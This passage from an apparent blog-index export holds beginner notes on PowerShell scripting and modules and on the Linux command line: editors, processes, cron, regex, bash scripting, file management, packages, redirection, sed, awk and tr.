to GB with rounding Get-WmiObject Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; | Select-Object @{N=\u0026#39;FreeGB\u0026#39;; E={$_.FreeSpace / 1GB -as [int]}} # Modern approach using CIM Get-CimInstance Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; From Hard-Coded to Flexible\nStep 1: Hard-coded (inflexible).\nGet-WmiObject -ComputerName localhost -Class Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; Step 2: Variable (still requires editing).\n$ComputerName = \u0026#39;localhost\u0026#39; Get-WmiObject -ComputerName $ComputerName -Class Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; | Select-Object @{N=\u0026#34;FreeGB\u0026#34;; E={$PSItem.FreeSpace / 1GB -as [int]}} Step 3: Parameterized script.\nparam( [string[]]$ComputerName = \u0026#39;localhost\u0026#39; ) Get-WmiObject -ComputerName $ComputerName -Class Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; | Select-Object @{N=\u0026#34;FreeGB\u0026#34;; E={$PSItem.FreeSpace / 1GB -as [int]}} Run it with: .\\DiskInfo.ps1 -ComputerName Server01\nAdding CmdletBinding\n[CmdletBinding()] enables advanced parameter features:\n[CmdletBinding()] param( [Parameter(Mandatory=$True)] [string[]]$ComputerName, $Bogus ) Get-WmiObject -ComputerName $ComputerName -Class Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; Adding Documentation\n\u0026lt;# .SYNOPSIS Gets free disk space from remote computers. .DESCRIPTION Connects to specified computers and returns the free space on their C: drives in gigabytes. .PARAMETER ComputerName One or more computer names to query. .EXAMPLE .\\DiskInfo.ps1 -ComputerName Server01 Queries Server01 for free disk space. .EXAMPLE .\\DiskInfo.ps1 -ComputerName Server01, Server02 Queries multiple servers. #\u0026gt; [CmdletBinding()] param( [Parameter(Mandatory=$True)] [string[]]$ComputerName ) Get-WmiObject -ComputerName $ComputerName -Class Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; Creating Functions\nWrap your code in a function following the Verb-Noun naming convention:\nfunction Get-DiskInfo { [CmdletBinding()] param( [Parameter(Mandatory=$True)] [string[]]$ComputerName ) Get-WmiObject -ComputerName $ComputerName -Class Win32_LogicalDisk -Filter \u0026#34;DeviceID=\u0026#39;C:\u0026#39;\u0026#34; | Select-Object @{N=\u0026#34;FreeGB\u0026#34;; E={$PSItem.FreeSpace / 1GB -as [int]}} } # To use it, first source the script . .\\DiskInfo.ps1 # Then call the function Get-DiskInfo -ComputerName localhost Why the dot?\nRunning with . executes the script in the current scope, making the function available after the script exits. Without it, the function exists only while the script runs, then disappears.\nCreating a Module\nQuick method (requires importing each time):\nRename your script from .ps1 to .psm1 Import it: Import-Module .\\DiskInfo.psm1 -Force -Verbose Use the function: Get-DiskInfo Proper method (auto-loads):\nCreate the folder: C:\\Users\\\u0026lt;Username\u0026gt;\\Documents\\WindowsPowerShell\\Modules\\DiskInfo Copy DiskInfo.psm1 into that folder PowerShell will automatically load it when you start a new session Note: Never place custom modules in C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules \u0026ndash; that is reserved for Microsoft modules.\n","permalink":"https://onebee.blog/blog/collection/foundations/powershell-101/","summary":"Collection | Foundations | PowerShell 101","title":"Foundations | PowerShell 101"},{"content":"Attribution\nThis introduction to Linux is based on notes taken during the TCM Security - Linux 101 video course by Brent Eskridge, PhD.\nWe highly recommend this course as a great starting point for learning Linux; it was instrumental in our understanding of the subject. We would like to extend a big thank you to the TCM Security Team for providing such valuable resources!\nText Editors Linux offers several text editors, ranging from simple to powerful. Here are two essentials every beginner should know.\nNano: The Beginner-Friendly Editor Nano is straightforward and displays helpful shortcuts at the bottom of the screen. Here is how to use it:\n# Open or create a file nano example.txt # Keyboard shortcuts (shown at bottom of screen): # \u0026#39;^\u0026#39; means CTRL key -- like ^G for Get Help # \u0026#39;M-\u0026#39; means ALT key -- like M-E for Redo M-X # Disable help mode (toggle) ^C # Show cursor position in the document M-/ # Jump to end of file M-\\ # Jump to beginning of file M-U # Undo last change M-E # Redo last change M-A # Start selecting text M-^ # Copy selected text ^U # Paste text # Cut and paste workflow: ^K # Cut entire line (or selected text) ^U # Paste it ^W # Search for text M-W # Find next occurrence M-Q # Find previous occurrence ^O # Save file (write out) ^X # Exit editor Vim: The Modal Editor Vim is more powerful but has a learning curve. It operates in different modes (normal, insert, command).\n# Open a file vim file.txt # In normal mode: / # Search forward n # Next match N # Previous match :\u0026lt;line-number\u0026gt; # Jump to specific line (e.g., :2 goes to line 2) :$ # Jump to last line G # Also jumps to last line Process Management Understanding how to view and control running processes is essential for system administration and troubleshooting.\nViewing Processes with PS The ps command shows a snapshot of current processes. By default, it only shows your processes from the current terminal.\n# Common usage examples: # All processes (BSD syntax) - most commonly used ps aux | less -S # All processes (UNIX syntax) - also common ps -ef | less -S # Hierarchical view showing parent-child relationships ps -eH | less -S # Alternative tree view pstree | less -S # All processes running as root, in user format ps -U root -u root u | less -S # The -S flag disables line wrapping in less, making output easier to read Did You Know?\nIf you have read The Cuckoo\u0026rsquo;s Egg by Cliff Stoll, the command ps -eafg was one of the first clues that revealed the hacker was more familiar with AT\u0026amp;T Unix than Berkeley Unix. The -f flag (which lists each process\u0026rsquo;s files) does not exist in Berkeley Unix, which provides that information by default.\nIt is a fascinating read \u0026ndash; we highly recommend it if you have not already.\nTitle: The Cuckoo\u0026rsquo;s Egg: Tracking a Spy Through the Maze of Computer Espionage Author: Cliff Stoll Understanding PS Output Columns:\nUID # User ID running the process (determines privileges) PID # Process ID (unique identifier) PPID # Parent Process ID (the process that started this one) C # CPU utilization percentage STIME # Process start time TTY # Terminal associated with the process (? means none—typical for background services) TIME # Total CPU time consumed by the process CMD # Command that launched the process Real-Time Monitoring with Top:\ntop # Display live process list # Default refresh: every 3 seconds (press \u0026#39;d\u0026#39; to change) # Default sort: by CPU usage (press \u0026#39;P\u0026#39; to sort by CPU, \u0026#39;M\u0026#39; by memory) Managing Foreground and Background Processes By default, commands run in the foreground, tying up your terminal. Here is how to manage them:\n# Start a process in the background immediately \u0026lt;command\u0026gt; \u0026amp; # Suspend a running foreground process [Ctrl+Z] # Sends STOP signal; process pauses but remains in memory # View suspended and background jobs jobs # Resume a suspended process in the background bg # Bring a background process to the foreground fg # If multiple processes are backgrounded: # + indicates the next process to foreground with \u0026#39;fg\u0026#39; # - indicates the previous process # Select a specific job to foreground fg 3 # Foreground job number 3 fg %xclock # Foreground by process name Process States and Signals Processes move through different states during their lifecycle:\nRunning: Currently executing on the CPU Sleeping: Waiting for a resource (I/O, network, etc.) Stopped: Paused after receiving a STOP signal (Ctrl+Z) Zombie: A process that exited but was not properly cleaned up by its parent Common Signals:\n# List all available signals kill -l # Important signals to know: # 1 (SIGHUP) - Hang up: Tells process to reload configuration files # 9 (SIGKILL) - Force kill: Process cannot ignore or handle this; immediate termination # 15 (SIGTERM) - Terminate: Politely asks process to shut down (default for kill command) # Allows cleanup of temporary files; process can ignore this # 19 (SIGSTOP) - Stop: Pauses a foreground process (same as Ctrl+Z) Sending Signals to Processes:\n# Example: Start a process, find it, then terminate it xeyes \u0026amp; ps -ef | grep xeyes # kill \u0026lt;PID\u0026gt; # Sends SIGTERM (15) by default kill 86723 # Force kill if SIGTERM does not work kill -9 87390 # Sends SIGKILL; use sparingly # Kill by process name (kills ALL matching processes) pkill xeyes # Example: killing multiple instances xeyes \u0026amp; xeyes \u0026amp; pkill xeyes # Both instances terminate Pausing Execution:\nsleep 5 # Pause for 5 seconds (useful in scripts) Scheduling Tasks with Cron and Init Cron (Scheduled Commands):\nCron is the standard scheduler for recurring tasks.\n/etc/crontab # System-wide cron file (for system maintenance) # Anacron: For systems that do not run 24/7 (laptops, desktops) # It ensures missed jobs run when the system comes back up # View daily scheduled jobs ls /etc/cron.daily/ # Edit your personal crontab crontab -e # Cron time format: minute hour day-of-month month day-of-week command # Ranges: # minute: 0-59 # hour: 0-23 # day-of-month: 1-31 # month: 1-12 # day-of-week: 0-6 (Sunday to Saturday) # Examples: # Run at 1:05 AM on the 2nd of every month 5 1 2 * * touch /home/bob/cron/crontab-ran.txt # Run at 1:05 AM and 1:05 PM on the 2nd of every month 5 1,13 2 * * touch /home/bob/cron/crontab-ran.txt # Run every 5 minutes */5 * * * * touch /home/bob/cron/crontab-ran.txt # List your cron jobs crontab -l # Remove all your cron jobs crontab -r Startup Scripts with Init.d:\nTo run tasks at boot time, add scripts to /etc/init.d/ and link them to the appropriate runlevel directory.\n# View available runlevel directories ls -d /etc/rc*.d # Runlevels explained: # 1: Single-user mode (recovery/debugging) # 3: Multi-user text mode (servers) # 5: Multi-user graphical mode (desktops) # Example: Examining runlevel 5 ls -l /etc/rc5.d/ # Files start with S or K: # S##: Start script (run when entering this runlevel) # K##: Kill script (run when leaving this runlevel) # The numbers determine execution order (lower numbers run first) # All scripts are symlinks to /etc/init.d/ Regular Expressions Regular expressions (regex) are patterns used to match text. They are incredibly powerful for searching, filtering, and transforming data.\nRecommended Practice Tool: regexr.com\nThe Four Building Blocks Building Blocks: Character Classes, Quantifiers, Roots, Anchors.\n1. Character Classes:\n[ABC] # Match any single character in the set [^ABC] # Match any character NOT in the set (negated) [A-Z] # Match any uppercase letter (range) [a-z] # Match any lowercase letter [0-9] # Match any digit \\w # Match any word character (letters, numbers, underscore) \\d # Match any digit (same as [0-9]) . # Match any single character (except newline) \\s # Match any whitespace (space, tab, newline) 2. Quantifiers:\n+ # One or more of the preceding token * # Zero or more of the preceding token {min,max} # Between min and max occurrences (e.g., {0,3}) ? # Zero or one (optional) | # Alternation (OR operator) 3. Anchors (Position Markers):\n^ # Start of string/line $ # End of string/line Practical Examples # Match a date like \u0026#34;December 25, 2023\u0026#34; or \u0026#34;Aug 2, 2024\u0026#34; ^[A-Z][a-z]{2,}\\s+[0-3]?[1-9],\\s+[12]?[0-9]{0,3}$ # Match numbers 42 or greater ^4[2-9]|[5-9][0-9]|[1-9][0-9]{2,}$ # Match monetary values (e.g., $1,234.56) ^\\$?\\s*[1-9][0-9]{0,2}((,[0-9]{3})*|)(\\.[0-9]{2})?$ # Using grep with regex (note: grep uses POSIX, not PCRE) # \\d does not work in standard grep; use [0-9] or [[:digit:]] instead grep -E \u0026#39;^4[2-9]|[5-9][0-9]|[1-9][0-9]{2,}$\u0026#39; numbers.txt Replacement Patterns When using regex for substitution:\n$\u0026amp; # Represents the entire matched string $1, $2, $3 # Represents captured groups (text in parentheses) # Example: Reformat date from MM/DD/YYYY to YYYY-MM-DD # Pattern: ^([0-9]{2})/([0-9]{2})/([0-9]{4})$ # Replacement: $3-$1-$2 Tips for Building Regex Regex is greedy by default: Add ? after * or + to make it lazy (match as little as possible). Build incrementally: Start with a simple pattern, test it, then add complexity. Prefer multiple simple expressions over one complex pattern. Test edge cases with both valid and invalid data. Comment your patterns if your tool supports the x (extended) modifier. Bash Scripting Scripts automate repetitive tasks. Bash is the default shell on most Linux distributions.\nBasics Every script starts with a shebang (#!) telling the system which interpreter to use:\n#!/bin/bash # This is a comment echo \u0026#34;Hello world\u0026#34; Running Scripts:\n# Method 1: Pass script to bash interpreter bash hello-world.sh # Method 2: Make executable and run directly chmod +x hello-world.sh ./hello-world.sh Using Variables:\n#!/bin/bash # Capture command output into variables user=$(whoami) hostname=$(hostname) directory=$(pwd) # Display information echo \u0026#34;User: [$user] Host: [$hostname] Directory: [$directory]\u0026#34; echo \u0026#34;Contents:\u0026#34; ls Control Structures If Statements:\n#!/bin/bash # Check if /etc/ is a directory if [[ -d /etc/ ]]; then echo \u0026#34;/etc/ is indeed a directory\u0026#34; fi # Check if file exists if [[ -e sample.txt ]]; then echo \u0026#34;The file sample.txt exists\u0026#34; else echo \u0026#34;The file sample.txt does NOT exist\u0026#34; fi # String comparison TEST_VAR=\u0026#34;test\u0026#34; if [[ $TEST_VAR == \u0026#34;test\u0026#34; ]]; then echo \u0026#34;TEST_VAR has a value of \u0026#39;test\u0026#39;\u0026#34; elif [[ $TEST_VAR == \u0026#34;again\u0026#34; ]]; then echo \u0026#34;TEST_VAR has a value of \u0026#39;again\u0026#39;\u0026#34; else echo \u0026#34;TEST_VAR has an unknown value\u0026#34; fi Comparison Operators:\nNumbers: -ne (not equal), -eq, -gt (greater than), -ge, -lt (less than), -le Strings: ==, != (not equal), \u0026lt; (less than), \u0026gt; #!/bin/bash # create variables x=1 echo x=[\u0026#34;$x\u0026#34;] y=2 echo y=[\u0026#34;$y\u0026#34;] z=2 echo z=[\u0026#34;$z\u0026#34;] # numeric -- not equals if [[ \u0026#34;$x\u0026#34; -ne \u0026#34;$y\u0026#34; ]]; then echo [\u0026#34;$x\u0026#34;] ne [\u0026#34;$y\u0026#34;] fi # numeric -- equals if [[ \u0026#34;$y\u0026#34; -eq \u0026#34;$z\u0026#34; ]]; then echo [\u0026#34;$y\u0026#34;] eq [\u0026#34;$z\u0026#34;] fi # numeric -- greater than if [[ \u0026#34;$y\u0026#34; -gt \u0026#34;$x\u0026#34; ]]; then echo [\u0026#34;$y\u0026#34;] gt [\u0026#34;$x\u0026#34;] fi # numeric -- greater than or equal to if [[ \u0026#34;$y\u0026#34; -ge \u0026#34;$z\u0026#34; ]]; then echo [\u0026#34;$y\u0026#34;] ge [\u0026#34;$z\u0026#34;] fi # numeric -- less than if [[ \u0026#34;$x\u0026#34; -lt \u0026#34;$y\u0026#34; ]]; then echo [\u0026#34;$x\u0026#34;] lt [\u0026#34;$y\u0026#34;] fi # numeric -- less than or equal to if [[ \u0026#34;$y\u0026#34; -le \u0026#34;$z\u0026#34; ]]; then echo [\u0026#34;$y\u0026#34;] le [\u0026#34;$z\u0026#34;] fi # ***************** string comparison ******************** a=\u0026#34;A\u0026#34; echo a=[\u0026#34;$a\u0026#34;] b=\u0026#34;B\u0026#34; echo b=[\u0026#34;$b\u0026#34;] anotherA=\u0026#34;A\u0026#34; echo anotherA=[\u0026#34;$anotherA\u0026#34;] # string -- equals if [[ \u0026#34;$a\u0026#34; == \u0026#34;$anotherA\u0026#34; ]]; then echo [\u0026#34;$a\u0026#34;] \u0026#34;==\u0026#34; [\u0026#34;$anotherA\u0026#34;] fi # string -- not equals if [[ \u0026#34;$a\u0026#34; != \u0026#34;$b\u0026#34; ]]; then echo [\u0026#34;$a\u0026#34;] \u0026#34;!=\u0026#34; [\u0026#34;$b\u0026#34;] fi # string -- less than if [[ \u0026#34;$a\u0026#34; \u0026lt; \u0026#34;$b\u0026#34; ]]; then echo [\u0026#34;$a\u0026#34;] \u0026#34;\u0026lt;\u0026#34; [\u0026#34;$b\u0026#34;] fi # string -- greater than if [[ \u0026#34;$b\u0026#34; \u0026gt; \u0026#34;$a\u0026#34; ]]; then echo [\u0026#34;$b\u0026#34;] \u0026#34;\u0026gt;\u0026#34; [\u0026#34;$a\u0026#34;] fi Case Statements:\n#!/bin/bash # Switch based on first command-line argument case $1 in [1-3]) message=\u0026#34;Argument is between 1 and 3 inclusive\u0026#34; ;; [4-6]) message=\u0026#34;Argument is between 4 and 6 inclusive\u0026#34; ;; [7-9]) message=\u0026#34;Argument is between 7 and 9 inclusive\u0026#34; ;; 1[0-9]) message=\u0026#34;Argument is between 10 and 19 inclusive\u0026#34; ;; *) message=\u0026#34;Argument is missing or out of range\u0026#34; ;; esac echo $message Loops Definite Loops (For): Use when you know the iteration count beforehand.\n#!/bin/bash # Method 1: Explicit list for i in 1 2 3 4 5; do echo \u0026#34;Index: [$i]\u0026#34; done # Method 2: Range expansion for i in {1..5}; do echo \u0026#34;Index: [$i]\u0026#34; done # Method 3: C-style for loop for (( i=1; i\u0026lt;=5; i++ )); do echo \u0026#34;Index: [$i]\u0026#34; done # Method 4: Iterate over files for FILE in *.sh; do echo \u0026#34;File: [$FILE]\u0026#34; tail -n 1 \u0026#34;$FILE\u0026#34; done Indefinite Loops (While): Use when the iteration count depends on runtime conditions.\n#!/bin/bash # Countdown example counter=5 while [[ $counter -gt 0 ]]; do echo \u0026#34;Countdown: [$counter]\u0026#34; counter=$((counter - 1)) done echo \u0026#34;Blastoff!\u0026#34; Working with Arguments Scripts can accept command-line arguments:\n$0 : The name of the script. $# : Argument count. $@ : Argument list (iterate-able - $0 is not included). $* : Argument string (all of the args in one string). Arg12 is ${12} not $12 (=$1 and \u0026lsquo;2\u0026rsquo;). #!/bin/bash echo \u0026#34;Script name: [$0]\u0026#34; echo \u0026#34;Argument count: [$#]\u0026#34; # Iterate through all arguments for arg in \u0026#34;$@\u0026#34;; do echo \u0026#34;Argument: [$arg]\u0026#34; done echo \u0026#34;All arguments as string: [$*]\u0026#34; # Arguments 10+ need curly braces if [[ \u0026#34;${12}\u0026#34; != \u0026#34;\u0026#34; ]]; then echo \u0026#34;Argument 12 is: [${12}]\u0026#34; fi Practical Example: Password Generator Here is a script that generates memorable passwords from word lists:\n#!/bin/bash # Get command-line arguments word_count=$1 separator=$2 password=\u0026#39;\u0026#39; # Count lines in word list total_words=$(wc -l \u0026lt; ../wordlist.txt) # Build password for (( i=1; i\u0026lt;=word_count; i++ )); do # Generate cryptographically secure random number rand_hex=$(openssl rand -hex 4) rand_dec=$((16#$rand_hex)) # Select random word word_index=$((rand_dec % total_words)) random_word=$(sed -n \u0026#34;${word_index}p\u0026#34; ../wordlist.txt) # Capitalize first letter random_word=${random_word^} # Add separator between words if [[ $i -gt 1 ]]; then password=\u0026#34;${password}${separator}${random_word}\u0026#34; else password=\u0026#34;$random_word\u0026#34; fi done echo \u0026#34;$password\u0026#34; # Usage: ./generate-password.sh 4 \u0026#39;-\u0026#39; # Output example: Correct-Horse-Battery-Staple ","permalink":"https://onebee.blog/blog/collection/foundations/linux-101-p2/","summary":"Collection | Foundations | Linux 101 - Part 2","title":"Foundations | Linux 101 - Part 2"},{"content":"Attribution\nThis short Introduction to Linux is based on notes taken during the TCM Security - Linux 101 video course by Brent Eskridge, PhD.\nWe highly recommend this course as a great starting point for learning Linux; it was instrumental in our understanding of the subject. We would like to extend a big thank you to the TCM Security Team for providing such valuable resources!\nIntroduction to Linux What is Linux?\nAn open source operating system (OS) An OS is a resource manager that handles: Processor time Memory Storage space The kernel is the core of the OS and operates at the lowest level What is a Linux Distribution?\nA distribution (or \u0026lsquo;distro\u0026rsquo;) is a complete Linux system that includes:\nA desktop environment Package managers for installing software Pre-installed applications Specific goals or philosophy (security-focused, user-friendly, lightweight, etc.) Introduction to the Command Line Basic Commands\nPrint effective userid: whoami Show or set the system\u0026rsquo;s host name: hostname Print name of current/working directory: pwd List directory contents: ls Change the shell working directory: cd Getting Help\nRead the manual: man \u0026lt;command\u0026gt; Read Info documents: info \u0026lt;command\u0026gt; Quick help: \u0026lt;command\u0026gt; -h or \u0026lt;command\u0026gt; --help Online explanation: explainshell.com Viewing Text Files\nmore \u0026ndash; Filter for paging through text one screen at a time less \u0026ndash; Similar to more, but with more features (search, scroll back, etc.) Working with File Contents\nConcatenate files: cat file1.txt file3.txt Number all output lines: cat -n file1.txt file3.txt Create a file interactively: cat \u0026gt; new-file.txt (type, then press Ctrl+D to save) Redirect output to a new file: cat file1.txt file3.txt \u0026gt; combined.txt Files and the Filesystem Linux Filesystem Hierarchy\nView the filesystem description: man hier\nSystem Logs\nMain system log: /var/log/syslog\nDevices, Partitions, and Mounting\nDevice naming example: /dev/sda\ns = SATA drive a = first drive Example with two storage devices: /dev/sda and /dev/sr0\nsda has 2 primary partitions and 3 secondary partitions Each partition has its own ID and mounts at a different location in the filesystem Useful commands:\nView partition mount info: less /etc/fstab Show currently mounted devices: mount Check disk space usage: df -h Check directory size: du -sh ~ Absolute and Relative Paths\nAbsolute Path:\nValid from anywhere in the filesystem Assumes a global directory structure Longer Can use environment variables (like $HOME) Relative Path:\nValid from the current directory Assumes a local directory structure Shorter More portable across systems Managing Files and Directories\nFiles:\nCreate empty file: touch file.txt Copy: cp source destination Move/rename: mv oldname newname Delete: rm file.txt Directories:\nCreate: mkdir dirname Remove empty directory: rmdir dirname Remove non-empty directory: rm -rf dirname/ Move/rename: mv project project01 Handling Spaces in Names\nBash uses spaces to separate arguments. Escape spaces with a backslash or use quotes:\ncd \u0026#34;My Documents\u0026#34; # or cd My\\ Documents File and Path Expansion (Globbing)\nUse wildcards to match multiple files. Globbing works within a single path segment (between slashes).\nWildcard Meaning Example * Zero or more characters ls file*.txt ? Exactly one character ls file?.txt ** Any subdirectory (requires shopt -s globstar) ls **/*.txt [abc] Any character in brackets ls file[123].txt [a-z] Range of characters ls file[a-z].txt Other examples:\nls file[1-3].txt \u0026ndash; 1 or 2 or 3 ls file[a-zA-Z].txt \u0026ndash; letters from a to z AND from A to Z Viewing File Contents\nFirst 5 lines: head -n 5 wordlist.txt or head -5 wordlist.txt Last 5 lines: tail -n 5 wordlist.txt or tail -5 wordlist.txt Follow a log file live: tail -f /var/log/auth.log Compare two files: diff file1.txt file2.txt Hard and Soft Links\nA link is a reference to a file or directory.\nHard Links\nPoint to the physical location on storage Cannot link to directories (prevents circular loops) The file persists until all hard links are deleted Rarely used today # Create a hard link ln hello.txt hello-hard-link.txt # Remove original -- link still works rm hello.txt cat hello-hard-link.txt # Recreate the original from the hard link ln hello-hard-link.txt hello.txt Soft/Symbolic Links\nReference the file path, not physical location Break if the target is moved or deleted Can link to directories and cross filesystems Use absolute paths for the target # Create a soft link ln -s /full/path/to/hello.txt hello-soft-link.txt # Moving the original breaks the link mv hello.txt hello-new-name.txt cat hello-soft-link.txt # Error: No such file Compressing and Archiving\nArchiving combines multiple files into one; compression reduces file size.\nZIP\n# Create zip zip backup-files.zip file1.txt file2.txt # List contents unzip -l backup-files.zip # Compress multiple dirs -- without including their files zip tmp/backup-dirs.zip dir1 dir2 # Include subdirectories zip -r backup-dirs.zip dir1 dir2 TAR (Tape Archive)\n# Create archive (c:create, v:verbose, f:file) tar cvf backup.tar file1.txt dir1/ # List contents (t:confirm) tar tvf backup.tar # Extract tar xvf backup.tar # Compress with gzip (g:gunzip) -- .gz extension tar cvfz backup.tar.gz file1.txt dir1/ # Choose compression algorithm (gzip; bzip2) -- compress a tar file gzip backup.tar # Decompress the file gunzip backup.tar.gz Searching the Filesystem\nFind command location: which ls Find binaries, source, and man pages: whereis ls FIND \u0026ndash; Search in real-time\n# Search by name (case-sensitive) find . -name \u0026#39;file*.txt\u0026#39; # Case-insensitive find . -iname \u0026#39;file*.txt\u0026#39; LOCATE \u0026ndash; Search a pre-built database (faster)\nlocate file.txt locate \u0026#39;file*.txt\u0026#39; Users and Groups Viewing Users\nCurrently logged in: users, who, w Home directories: ls -la /home File and Directory Permissions\nChange permissions:\nSymbolic: chmod g-w hello.txt or chmod a=,u=r hello.txt Octal: chmod 664 hello.txt Change ownership:\nsudo chown sally hello.txt # change owner sudo chgrp sally hello.txt # change group Switching Users\n# Run command as another user sudo -u sally cat /home/sally/sample.txt # Switch to another user su sally Changing Passwords\nChange your own password: passwd Change another user\u0026rsquo;s password: sudo passwd username Groups\nGroups do not have any passwords anymore:\n/etc/groups \u0026ndash;\u0026gt; x in 2nd column * in /etc/passwd \u0026ndash;\u0026gt; disabled login Installing Software Package Management\nPrograms, libraries, and configs are bundled into packages.\nDebian Systems (.deb)\n# package managers: dpkg and apt sudo apt update\t# update package database sudo apt upgrade\t# upgrade installed packages apt search \u0026lt;software\u0026gt;\t# search for package apt show \u0026lt;software\u0026gt;\t# show package info sudo apt install \u0026lt;software\u0026gt;\t# install sudo apt remove \u0026lt;software\u0026gt; # uninstall sudo apt purge \u0026lt;software\u0026gt; # uninstall + remove configs sudo apt autoremove # clean up dependencies RedHat Systems (.rpm)\n# package managers: rpm and yum sudo yum check-update # update database sudo yum update # upgrade system yum search \u0026lt;package\u0026gt;\t# search for a package yum info \u0026lt;package\u0026gt;\t# check package info sudo yum install \u0026lt;package\u0026gt;\t# install package sudo yum remove \u0026lt;package\u0026gt;\t# remove package Manual Installation from Source\nWhen no package exists, compile from source:\nInstall build tools: # missing -- checkinstall;libz-dev apt install build-essential automake checkinstall libz-dev libssl-dev libcurl4-gnutls-dev libexpat1-dev gettext cmake gcc curl # modified -- omitting the missing ones sud apt install build-essential automake libssl-dev libcurl4-gnutls-dev libexpat1-dev gettext cmake gcc curl Download and extract: wget https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.29.3.tar.gz tar xfz git-2.29.3.tar.gz cd git-2.29.3/ Configure and build: less INSTALL\t# check the install help file ./configure\t# configure with default options; creates Makefile ls Makefile\t# verify makefile make\t# compile (might take a while) Install and verify: sudo make install\t# install the software git --version # verify install Shell Basics Common Shells\nbash \u0026ndash; Bourne Again Shell (default on most systems) zsh \u0026ndash; Z Shell (modern, default on Kali) ksh \u0026ndash; Korn Shell csh/tcsh \u0026ndash; C Shell (popular with programmers) Some commands like cd are built into the shell; like file and path expansions (* wildcard). The shell first interprets the wildcard, then substitutes the names and sends them to ls: ls file*.txt\nEnvironment Variables\nEach shell maintains its own variables. Changes in one shell do not affect others.\nList variables: printenv Format: NAME=value (uppercase by convention) PATH \u0026ndash; directories searched for executable commands Command execution in shell\nType the command. Shell checks if it\u0026rsquo;s a built-in command. If not built-in command, search PATH directories for the command. If command exists in multiple directories, first is executed. Global vs Local Variables\nLocal (Shell) Global (Environment) Scope Current shell only Current shell + subprocesses Create VAR=value export VAR=value Access $VAR $VAR Global vs Local Variable example:\n# Local variable COUNT=42 echo $COUNT # works bash # start subshell echo $COUNT # empty exit # Global variable export COUNT=55 bash echo $COUNT # works exit unset COUNT # remove variable Startup Files\nBash loads configuration files on startup. Edit ~/.bashrc for permanent changes:\n# Add to ~/.bashrc alias del=\u0026#39;rm -rfi\u0026#39; alias c=\u0026#39;clear\u0026#39; # Reload configuration source ~/.bashrc Input/Output Redirection\nThree standard streams:\nstdin (0) \u0026ndash; input stdout (1) \u0026ndash; normal output stderr (2) \u0026ndash; error output Examples:\n# Redirect output to file ls /etc/ \u0026gt; dir-contents.txt # Append to file ls /etc/ \u0026gt;\u0026gt; dir-contents.txt # Redirect input from file head \u0026lt; /etc/passwd # Discard errors find / -name \u0026#39;file\u0026#39; 2\u0026gt; /dev/null # Redirect both output and errors find / -name \u0026#39;file\u0026#39; \u0026amp;\u0026gt; results.txt # or find / -name \u0026#39;file\u0026#39; \u0026gt; results.txt 2\u0026gt;\u0026amp;1 # redirecting to different locations find / -name \u0026#39;sample.txt\u0026#39; \u0026gt; location.txt 2\u0026gt; /dev/null Pipes\nConnect stdout of one command to stdin of another:\nls -l /etc/ | less ls -l /etc/ | head -n 20 | tail -n 5 find / -name \u0026#39;file\u0026#39; 2\u0026gt;/dev/null | less If you want to redirect the stderr too, use |\u0026amp; like find / -name 'sample.txt' |\u0026amp; less.\nCommand History\nView history: history Run command #199: !199 Run previous command: !! or !-1 Run last command starting with \u0026lsquo;cat\u0026rsquo;: !cat Replace text in previous command: ^old^new History size is determined by HISTSIZE and HISTFILESIZE in .bashrc. Command Substitution\nWith back ticks (`) or $(\u0026lt;command\u0026gt;) to execute those inside first. Once the inside is executed, it will substitute the content of the file with the command.\n# use backticks ` ls -l `cat file-list.txt` # or -- the SAME -- (preferred) ls -l $(cat file-list.txt) More Utilities Text Processing\nSearch for text: grep error /var/log/*.log Show context: grep -B 3 -A 2 error logfile (3 lines before, 2 after) Sort alphabetically: sort file.txt Sort numerically descending: sort -nr file.txt Remove duplicates: sort file.txt | uniq Count lines: wc -l SED (Stream Editor)\nEdit text as it flows through (manipulates text as it flows by; modifies text line-by-line):\n# Replace first occurrence per line sed \u0026#39;s/foo/bar/\u0026#39; file.txt # or echo Suite Suite | sed \u0026#39;s/Suite/Ste/\u0026#39; # Replace only the last occurrence sed \u0026#39;$s/foo/bar/\u0026#39; file.txt # Replace all occurrences sed \u0026#39;s/foo/bar/g\u0026#39; file.txt # or echo Suite Suite | sed \u0026#39;s/Suite/Ste/g\u0026#39; # Replace only on lines matching pattern sed \u0026#39;/pattern/ s/foo/bar/g\u0026#39; file.txt # Delete lines matching pattern sed \u0026#39;/pattern/d\u0026#39; file.txt # Separate lines by new line and substitute commas with new lines sed \u0026#39;s/$/\\n/g\u0026#39; file.txt | sed \u0026#39;s/,/\\n/g\u0026#39; # or with a single command and multiple expressions sed -e \u0026#39;s/$/\\n/g\u0026#39; -e \u0026#39;s/,/\\n/g\u0026#39; file.txt AWK\nProcess text by fields, breaks each line of input into separate fields using specific delimiters. Default delimiter: space.\n# will output bob echo linux bob sally | awk \u0026#39;{print $2}\u0026#39; # or echo linux bob sally | awk \u0026#39;{print $3, \u0026#34;likes\u0026#34;, $1}\u0026#39; # sally likes linux # or with comma as separator -- firs, lastname awk -F \u0026#39;,\u0026#39; \u0026#39;{print $1}\u0026#39; sample.txt # change name order -- last, firstname awk -F \u0026#39;,\u0026#39; \u0026#39;{print $1}\u0026#39; sample.txt | awk \u0026#39;{print $2 \u0026#34;, \u0026#34; $1}\u0026#39; # filter by \u0026#39;dakota\u0026#39; -- display names awk -F \u0026#39;,\u0026#39; \u0026#39;/Dakota/ {print $1}\u0026#39; sample.txt # display which lines they are awk -F \u0026#39;,\u0026#39; \u0026#39;/Dakota/ {print NR,$1}\u0026#39; sample.txt TR (Translate)\nReplace or delete characters:\nReads from stdin and writes to stdout. Replace commas with tabs: cat sample.txt | tr ',' '\\t' Replace lower-case with upper-case: cat sample.txt | tr 'a-z' 'A-Z' Or with sets: cat sample.txt | tr '[:lower:]' '[:upper:]' Networking\nTesting network connection\nping google.com # or ping -c 3 google.com Configuring network connection\nifconfig # or ip address # display statistics too ip -s 